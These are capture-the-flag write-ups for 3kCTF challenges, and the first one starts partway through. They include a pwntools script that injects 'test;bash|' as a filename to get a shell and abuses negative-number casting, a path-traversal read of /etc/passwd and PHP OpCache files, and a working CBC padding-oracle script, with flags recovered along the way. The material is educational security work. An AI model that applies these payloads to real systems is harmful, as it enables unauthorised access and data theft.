I first tried to do it the intended way, and solve 251*1000 math questions, but that took too long and the connection would end. I ended up looking some more at the script and found that it casts the input to int and does this if( ($subm) <= $gold and int($subm)>=0){, that means that if we pass something like -0.5 then it would be cast to 0 and it would add direct gold to our session. Doing this 520 times we get enough gold to save the file (trigger the open exploit).

from pwn import *

sh = remote('flood.3k.ctf.to', 7777)

sh.sendline('35ec04cd3b79ab89896836c69257ce86487cf55f')
sh.sendline('test;bash|')
sh.recvuntil('> ')
sh.recvuntil('> ')

for i in xrange(260*2):
    sh.sendline('3')
    sh.sendline('-0.5')

sh.interactive()

By executing bash directly we can execute any command we want, to get actual output to our terminal we must append >&2 to our commands (to redirect stdout to stderr)

We can then just get the flag from /

? What you wanna do <test;bash|>
* u hav -260000 points
* u hav 260 gold
[1] DO MATH
[2] BUY GOLD
[3] SELL GOLD
[4] SCOREBOARD
[5] LOAD GAME
[6] SAVE GAME
[7] EXIT
> $ 5
LOAD GAME SAVE...
sh: 1: /app/files/test: not found
bash: cannot set terminal process group (14575): Inappropriate ioctl for device
bash: no job control in this shell
ctf@rekter0-flood:~$ $ ls / >&2
app                                              lib         sbin
bin                                              lib64       snap
boot                                             lost+found  srv
dev                                              media       sys
etc                                              mnt         tmp
fcad0373020fa6ede979389f558b396f4cd38ec1_README  opt         usr
home                                             proc        var
initrd.img                                       root        vmlinuz
initrd.img.old                                   run         vmlinuz.old
ctf@rekter0-flood:~$ $ cat fcad0373020fa6ede979389f558b396f4cd38ec1_README
cat: fcad0373020fa6ede979389f558b396f4cd38ec1_README: No such file or directory
ctf@rekter0-flood:~$ $ cat /fcad0373020fa6ede979389f558b396f4cd38ec1_README >&2
3k{p333rl_aInt_7hat_deAd_Y3t}
ctf@rekter0-flood:~$ $

3k{p333rl_aInt_7hat_deAd_Y3t}

carthagods - 10 solves(First Blood)

by sqrtrev

Description:

Salute the carthagods!

Author: rekter0, Dali

Hints
1. redacted source

When I approached to page, we can see the links like below

Baal		->	/baal
Tanit		->	/tanit
Dido		-> 	/dido
caelestis	->	/caelestis
phpinfo		-> 	/info.php
FLAG		-> 	/flag.php

We can guess the server is using mod_rewrite easily. And there is a folder named css and js.

If server has mis-configuration with mod_rewrite, we can get the name of variable.

So, If you access http://carthagods.3k.ctf.to:8039/js, you will get http://carthagods.3k.ctf.to:8039/js/?eba1b61134bf5818771b8c3203a16dc9=js.

Yeah, That parameter name was eba1b61134bf5818771b8c3203a16dc9.

we can get file contents like ?eba1b61134bf5818771b8c3203a16dc9=../../../../../etc/passwd

It's time to see phpinfo. There is something interesting with OpCache.

opcache.file_cache	=  /var/www/cache/

Server is using Opcache File. Now, we can realize there will be a cache file of flag.php. And that will not contains <?php (As the page was filtering that string, we need to bypass).

When I search about OpCache File, I got this document https://blog.alyac.co.kr/619 (written in Korean).

So, I can realize the cache file directory will be /var/www/cache/[system_id]/var/www/html/flag.php.bin.

For getting system_id, I used https://github.com/GoSecure/php7-opcache-override.

The system_id was e2c6579e4df1d9e77e36d2f4ff8c92b3 and I got flag from http://carthagods.3k.ctf.to:8039/?eba1b61134bf5818771b8c3203a16dc9=../../../../../../var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/var/www/html/flag.php.bin

3k{Hail_the3000_years_7hat_are_b3h1nd}

You shall not get my cookies - 12 solves

by adragos

CBC padding oracle task. Our goal is to send a ciphertext that when decrypted with AES CBC should contain Maple Oatmeal Biscuits

At first, I started by decrypting the given ciphertext:

90C560B2A01529EF986E54B016E1FEAAD79A54BE52B373311E3B4F8251BE269EC199AE6B370BFCE50A54EEC25ABB0F22

from pwn import *


enc = '90C560B2A01529EF986E54B016E1FEAAD79A54BE52B373311E3B4F8251BE269EC199AE6B370BFCE50A54EEC25ABB0F22'.decode('hex')

decoded = ''

orig_IV = '\x00'*16#enc[-48:-32]
#encoded = '\x00'*16#enc[-32:-16]
encoded = 'e9090922d360872171fc8b8f5a1f31ed'.decode('hex')

def get_feedback(payload):
    sh = remote('youshallnotgetmycookies.3k.ctf.to', 13337)
    sh.recvuntil('whats your cookie: \n')
    sh.sendline(payload)
    if 'Nop' in sh.recvline():
        sh.close()
        return True
    sh.close()
    return False

IV = list(orig_IV)
while len(decoded) < 16:
    offset = -(len(decoded)+1)
    for i in range(256):
        IV[offset] = chr(i)
        iv = ''.join(IV)
        payload = (iv+encoded).encode('hex').upper()
        if get_feedback(payload) == True:

            decoded = xor(IV[offset], orig_IV[offset], abs(offset)) + decoded
            print 'decoded:',repr(decoded)
            for i in range(1,abs(offset)+1):
                IV[-i] = xor(IV[-i], len(decoded), len(decoded)+1)

            break
    print 'done'

'hazelnut cookies chocolate chip cookie\n\n\n\n\n\n\n\n\n\n'

I ended up modified orig_IV and encoded manually (no time for fancy scripts) and ended up decoding the whole ciphertext:

hazelnut cookies chocolate chip cookie\n\n\n\n\n\n\n\n\n\n

We know the first block from the task description, that means that the IV is fixed by the server. To encrypt our message. We can start backwards.

First we send two blocks of null bytes

00000000000000000000000000000000 00000000000000000000000000000000

^ - this will be the IV ^ - we can now check what all null byte block encrypts to

We find that all null bytes block encrypts to 807a6a57ba14f40179f48387521739e5

We then xor this value with the end of our plaintext with the end 16 bytes of Maple Oatmeal Biscuits, we must take in consideration valid padding too and we get e9090922d360872171fc8b8f5a1f31ed. We repeat this for the first 16 bytes of our payload, trying to find out what e9090922d360872171fc8b8f5a1f31ed decrypts to and then just combine the results.

In the end, I solved this in python interactive

>>> from pwn import xor
>>> iv = xor(last, '\x80zjW\xba\x14\xf4\x01y\xf4\x83\x87R\x179\xe5')
>>> iv
'\xe9\t\t"\xd3`\x87!q\xfc\x8b\x8fZ\x1f1\xed'
>>> iv.encode('hex')
'e9090922d360872171fc8b8f5a1f31ed'
>>> ('e9090922d360872171fc8b8f5a1f31ed' + '0'*32).upper()
'E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000'
>>> (' Maple Oatmeal Biscuits ' + '\x08'*8)[:16]
' Maple Oatmeal B'
>>> first = (' Maple Oatmeal Biscuits ' + '\x08'*8)[:16]
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex')
'fffc6868d0d47400edae68f376e1b410'
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex').upper()
'FFFC6868D0D47400EDAE68F376E1B410'
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex').upper() + 'E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000'
'FFFC6868D0D47400EDAE68F376E1B410E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000'

By sending FFFC6868D0D47400EDAE68F376E1B410E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000 to the nc service (youshallnotgetmycookies.3k.ctf.to 13337) we get the flag

3k{Y3t_An0th3r_Padd1ng_Oracle}

Game 1 - 30 solves

by tcode2k16

Description:

find your way to the heart of the maze

challenge:
For Windows
For Linux

flag format is different:
3K-string

For this challenge, we need to look more into the game logic. To accomplish this, I used another tool called ILSpy.

Opening Managed/Assembly-CSharp.dll, we are able to see most of the game logic:

// CTF.GameManager
using UnityEngine;

private void OnTriggerEnter(Collider other)
{
	if (other.tag == "Box1")
	{
		if (isCollidingBox1)
		{
			return;
		}
		isCollidingBox1 = true;
		UiManager.current.UpdateTexte(Box1);
		Object.Destroy(other.gameObject);
	}
	if (other.tag == "Box2")
	{
		if (isCollidingBox2)
		{
			return;
		}
		isCollidingBox2 = true;
		UiManager.current.UpdateTexte(Box2);
		Object.Destroy(other.gameObject);
	}
	if (other.tag == "Box3")
	{
		if (isCollidingBox3)
		{
			return;
		}
		isCollidingBox3 = true;
		UiManager.current.UpdateTexte(Box3);
		Object.Destroy(other.gameObject);
	}
	if (other.tag == "Box4")
	{
		if (isCollidingBox4)
		{
			return;
		}
		isCollidingBox4 = true;
		UiManager.current.UpdateTexte(Box4);
		Object.Destroy(other.gameObject);
	}
	if (other.tag == "Box5")
	{
		if (isCollidingBox5)
		{
			return;
		}
		isCollidingBox5 = true;
		UiManager.current.UpdateTexte(Box5);
		Object.Destroy(other.gameObject);
	}
	if (other.tag == "Box6" && !isCollidingBox6)
	{
		isCollidingBox6 = true;
		UiManager.current.UpdateTexte(Box6);
		Object.Destroy(other.gameObject);
	}
}
// CTF.UiManager
public void UpdateTexte(string textToAdd)
{
	counter++;
	textHolder.text += textToAdd;
	if (counter == 6)
	{
		cText = Encrypt.current.DecryptString(textHolder.text);
		textHolder.text = cText;
	}
}
// CTF.Encrypt
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public string DecryptString(string key)
{
	byte[] array = Convert.FromBase64String(cipherText);
	using (Aes aes = Aes.Create())
	{
		Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[13]
		{
			73,
			118,
			97,
			110,
			32,
			77,
			101,
			100,
			118,
			101,
			100,
			101,
			118
		});
		aes.Key = rfc2898DeriveBytes.GetBytes(32);
		aes.IV = rfc2898DeriveBytes.GetBytes(16);
		try
		{
			using (MemoryStream memoryStream = new MemoryStream())
			{
				using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
				{
					cryptoStream.Write(array, 0, array.Length);
					cryptoStream.Close();
				}
				cipherText = Encoding.Unicode.GetString(memoryStream.ToArray());
			}
			return cipherText;
		}
		catch (Exception)
		{
			return "wrong Order mate ";
		}
	}
}

By reading the code, we see that the player is able to append six different words to a string in various orders by hitting different boxes in the maze. The concatenated string is then used as a key to decrypt a cipher message yielding the flag.

To recover the six words and the ciphertext, we can do a simple strings or xxd on the level0 asset file:

words:

  • Tanit
  • Astarté
  • Amilcar
  • Melqart
  • Dido
  • Hannibal

ciphertext

  • jR9MDCzkFQFzZtHjzszeYL1g6kG9+eXaATlf0wCGmnf62QJ9AjmemY0Ao3mFaubhEfVbXfeRrne/VAD59ESYrQ==

At this point, a brute force script should be able to yield the flag, but for some reason, it did not work for me.

In a hopeful attempt, I marked out all the box locations and played the game hitting each of them in the shortest path. Luckily, it worked and gave me the flag...

order: Hannibal --> Dido --> Melqart --> Amilcar --> Astarté --> Tanit

flag: 3K-CTF-GamingIsNotACrime